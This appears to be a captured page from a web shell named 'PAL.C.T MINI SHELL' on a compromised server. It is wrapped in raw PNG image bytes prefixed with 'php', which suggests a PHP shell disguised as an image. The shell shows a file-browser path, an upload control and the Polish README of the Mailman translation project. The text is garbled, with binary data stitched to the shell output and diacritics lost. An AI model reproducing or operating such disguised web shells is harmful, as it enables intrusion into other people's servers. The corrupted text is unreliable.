php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/messages/pl/
upload
files >> //usr/lib/mailman/messages/pl/README.pl

Projekt polonizacji Mailmana rozpocz si w kwietniu 2001. 

Oficjaln stron tumaczenia jest: (strona praktycznie martwa)
http://linux.gda.pl/pub/Mailman-pl/

Lista dyskusyjna polskich tumaczy: (lista praktycznie martwa)
http://linux.gda.pl/mailman/listinfo/mailman-pl

Do tej pory w tumaczeniu pomagali (w kolejnoci chronologicznej):
- Marcin Sochacki <wanted%linux.gda.pl>
- Pawe Koodziejczyk <Pawel.Kolodziejczyk%comarch.pl>
- Marcin Zaborowski <m.zaborowski%il.pw.edu.pl>
- Wojciech Czarnowski <wojtekcz%rodos.com.pl>
- Bartosz Sawicki <sawickib%iem.pw.edu.pl>
- Robert wicki <rswieck1%elka.pw.edu.pl>
- Pawe Goaszewski <blues%ds.pg.gda.pl>
- Tomasz Toczyski <Tomasz.Toczyski%isep.pw.edu.pl>

W chwili obecnej przetumaczone jest 99% interfejsu subskrybenta i okoo 
95% interfejsu administracyjnego. Najbardziej aktualnej wersji szukajcie w
oficjalnych CVS Mailmana. 

Do zrobienia:
- szlifowanie, polerowanie :)
- skoczenie tumaczenia mailman.po (zostao jeszcze 230 msgid)
- przetumaczenie README.* dla rnych MTA

2005-10-11, Bartosz Sawicki <sawickib@iem.pw.edu.pl>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`